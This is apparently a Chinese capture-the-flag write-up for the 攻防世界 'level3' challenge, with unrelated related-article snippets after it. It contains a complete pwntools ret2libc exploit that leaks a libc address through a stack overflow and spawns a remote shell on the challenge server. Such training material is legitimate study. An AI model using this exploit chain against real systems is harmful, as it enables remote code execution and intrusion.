攻防世界 level3

news2024/11/15 13:22:33

这道题把附件下载下来发现一个libc(动态链接库),那这道题估计需要利用libc来确定elf中函数的地址

国际惯例checksec,发现level3没开栈溢出保护和地址随机化,libc全开

拖入32位ida,没发现留后门和system函数,只有个write

main里面没啥东西,问题应该出在这个函数里面

果然,buf只能装136,read可以读0x100,200多应该,超出范围,存在栈溢出漏洞

那现在已经有点思路了,利用栈溢出漏洞通过main里的write函数打印出write函数在got表的地址,再与libc库中的write函数地址相减计算出elf中函数和libc中函数之间偏移量(无论地址怎么变化,elf中函数与在libc库中函数的偏移量总是相等的),再通过偏移量计算出内存中的system,/bin/sh的地址,再一次利用栈溢出漏洞即可

可以写脚本了,建议先打通本地后再远程,以后实战也是这样,注释写脚本里面了,有问题丢评论

from pwn import *

#sh = process('./level3')	
sh = remote('61.147.171.105',58100)

elf_level3 = ELF('./level3')	
elf_libc = ELF('./libc_32.so.6')

plt_write = elf_level3.plt['write']	#level3的plt表地址
got_write = elf_level3.got['write']	#获取的是指向got表中'write'函数偏移量的指针,而不是函数的实际地址
addr_main = elf_level3.symbols['main']	#符号表找main函数地址

#利用栈溢出和plt调用write函数,因为还需要使用write函数打印出write函数的got表地址,所以把main函数作为它的返回地址,p(1)是write函数第一个参数,代表写;p32(got_write)第二个参数,代表要打印的字符串;p32(4)一次打印四个字节:因为是32位(32个二进制位),一个字节=8个二进制位,所以4
payload = b'a'*(0x88+0x4) + p32(plt_write) + p32(addr_main) + p32(1) + p32(got_write) + p32(4)	
sh.sendlineafter("Input:\n",payload)

write_got = u32(sh.recv(4))	#接收暴露出的got表地址并且使用u32解码成整数,这里限定接收四个字节,不然容易出错

#计算level3和libc库中write函数地址的偏移量
write_offset = write_got - elf_libc.symbols['write']

#level3中system函数真正地址,无论elf是否开启地址随机化,libc库与elf中函数偏移量始终是相等的
system_level3 = write_offset + elf_libc.symbols['system']
#level3中/bin/sh默认shell真正地址,因为/bin/sh不是一个函数不能用符号表查找,直接利用Linux下的strings函数结合管道符找到它的地址
shell_level3 = write_offset + 0x15902b

#再次利用栈溢出返回system函数,随便用0作它的返回地址,再将/bin/sh当做system参数即可getshell
payload_2 = b'a'*(0x88+0x4) + p32(system_level3) + p32(0) + p32(shell_level3)

sh.sendlineafter("Input:\n",payload_2)

sh.interactive()

打通远程

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1925296.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SCI一区级 | Matlab实现GJO-CNN-LSTM-Multihead-Attention多变量时间序列预测

SCI一区级 | Matlab实现GJO-CNN-LSTM-Mutilhead-Attention多变量时间序列预测 目录 SCI一区级 | Matlab实现GJO-CNN-LSTM-Mutilhead-Attention多变量时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 1.Matlab实现GJO-CNN-LSTM-Mutilhead-Attention金豺优化算…

OrangePi AIpro在安防领域的深思和实战(旷视科技CNN模型ShuffleNetV1开发案例测试)

一、前言 公司最近有个项目是安防领域的,主要用在边缘结点,虽然已做成形,但是还是存在一些缺陷,例如:算力问题,开发板的成熟问题,已经各种技术的解决方案落地问题。目前我们集成了很多功能&…

在家上网IP地址是固定的吗?

在数字化时代,互联网已成为我们日常生活中不可或缺的一部分。无论是工作、学习还是娱乐,我们都离不开网络的支持。然而,当我们在家中接入互联网时,可能会产生这样一个疑问:在家上网IP地址是固定的吗?下面一…

春招冲刺百题计划|双指针

Java基础复习 Java数组的声明与初始化Java ArrayListJava HashMapJava String 类Java LinkedListJava Deque继承LinkedListJava SetJava 队列优先队列:第二题用到了Java数组划分Java数组转ArrayListString 转数字String 这一部分,代码随想录写得超级好&#xff01…

哪些场景下适合使用人工智能作词软件来写歌词

以下是一些适合使用人工智能作词软件的场景: 软件我们选用“妙笔生词”智能写歌词软件(veve299)来操作。 1.创作灵感枯竭时:当创作者陷入思维困境,找不到新的创意和方向,人工智能作词软件可以快速提供一些…

Learning vtkjs之hello vtk

学习vtkjs 最近由于工作需要,开始学习vtkjs的相关内容,发现其实在医疗和工业领域,这个vtk的库的example还是非常有帮助,但是实际用的一些开发工具,或者研发生态却没有three的好,也就是能抄写的东西不多&am…

PanTools v1.0.27 多网盘批量管理、遍历分享、转存、重命名、复制...

一款针对多个热门网盘的文件管理、批量分享、批量转存、批量重命名、批量复制、批量链接检测、跨账号移动文件、多账号文件搜索等,支持不同网盘的不同账号的资源文件操作。适用于网站站长、资源爱好者、网盘拉新等,对于管理名下具有多个网盘多个账号具有…

昇思25天学习打卡营第20天|CycleGAN图像风格迁移互换

模型简介 CycleGAN(Cycle Generative Adversarial Network) 即循环对抗生成网络,来自论文 Unpaired Image-to-Image Translation using Cycle-Consistent Adversarial Networks 。该模型实现了一种在没有配对示例的情况下学习将图像从源域 X 转换到目标域 Y 的方法。…

3D问界-深入理解骨骼绑定与蒙皮绑定在三维动画中的角色

问题提出:什么是蒙皮绑定,什么是骨骼绑定 蒙皮绑定(Skinning)和骨骼绑定(Bone Binding)通常是在计算机图形学和动画制作中使用的术语,用来描述将模型或角色的几何形状与骨骼系统相关联的过程。这…

层序遍历及其应用

我们先看一道问题,将一棵树按照层序遍历将他列出来,如下图所示: 我们想一下,按照层序遍历的顺序应该是 1243567 。按照这个设想,我给大家讲解一下这个整体过程。 层序遍历介绍 层序遍历就是将树放入队列中&#x…

springboot社区垃圾回收处理小程序-计算机毕业设计源码71905

摘要 在数字化高速发展的今天,随着Spring Boot等轻量级框架的广泛应用,各种小程序、微服务如雨后春笋般涌现,极大地丰富了我们的软件生态系统。然而,伴随着这些应用的迅速增加,垃圾回收处理成为了一个不可忽视的问题。…

TensorFlow系列:第四讲:MobileNetV2实战

一. 加载数据集 编写工具类,实现数据集的加载 import keras""" 加载数据集工具类 """class DatasetLoader:def __init__(self, path_url, image_size(224, 224), batch_size32, class_modecategorical):self.path_url path_urlself…

PostgreSQL日志文件配置,记录所有操作记录

为了更详细的记录PostgreSQL 的运行日志,我们一般需要修改PostgreSQL 默认的配置文件,这里整理了一些常用的配置 修改配置文件 打开 PostgreSQL 配置文件 postgresql.conf。该文件通常位于 PostgreSQL 安装目录下的 data 文件夹中。 找到并修改以下配…

1.10-改进CBOW模型的学习

文章目录 0引言1 cupy包的安装2解决VScode中matplotlib绘图不显示的问题3 CBOW模型学习的实现4 CBOW模型对更复杂模式的捕捉5单词向量的评价方法6总结 0引言 本节将前面实现的改进的CBOW模型在PTB数据集上跑一遍由于希望跟书上一样调用GPU,因此需要安装cupy包&…

前端Canvas入门——一些注意事项

创建渐变的三种方法: createLinearGradient() - 线性渐变 createRadialGradient() - 径向渐变(放射性渐变) createConicGradient() - 锥形渐变 这三种的核心观点都是: 创建一个gradient对象,然后调用addColorStop()方法…

【软件测试】自动化测试常用函数 -- 详解

一、WebDriver API 一个简单自动化脚本的构成: 脚本解析 # coding utf-8 from selenium import webdriver import time browser webdriver.Firefox() time.sleep(3) browser.get("http://www.baidu.com") time.sleep(3) browser.find_element_by_id(…

Photoshop

彩色转灰度:ctrlshiftu 背景转黑色: 魔术棒容差10 shift连选 shiftF5(填充)钢笔选择 路径 工作路径 将路径作为选区载入 点回图层 按ctrlx删除选区 待更新

[C++]——同步异步日志系统(5)

同步异步日志系统 一、日志消息格式化设计1.1 格式化子项类的定义和实现1.2 格式化类的定义和实现 二、日志落地类设计2.1 日志落地模块功能实现与测试2.2 日志落地模块功能功能扩展 一、日志消息格式化设计 日志格式化模块的作用:对日志消息进行格式化&#xff0c…

Windows 子系统WSL2 Ubuntu使用事项

Windows 子系统WSL2 Ubuntu使用事项 要使外部设备能够访问运行在 Windows 上的 WSL2 实例,你可以端口转发的方法。由于 WSL2 是在虚拟化环境中运行,直接访问比 WSL1 更为复杂. 1 如何实现子系统可以被外部系统SSH 1.1 端口转发: 通过windows代理WSL2的…

微信视频号的视频怎么下载到本地?快速教你下载视频号视频

天来说说市面上常见的微信视频号视频下载工具,教大家快速下载视频号视频! 方法一:缓存方法 该方法来源早期视频技术,因早期无法将大量视频通过网络存储,故而会有缓存视频文件到手机,其目的为了提高用户体验…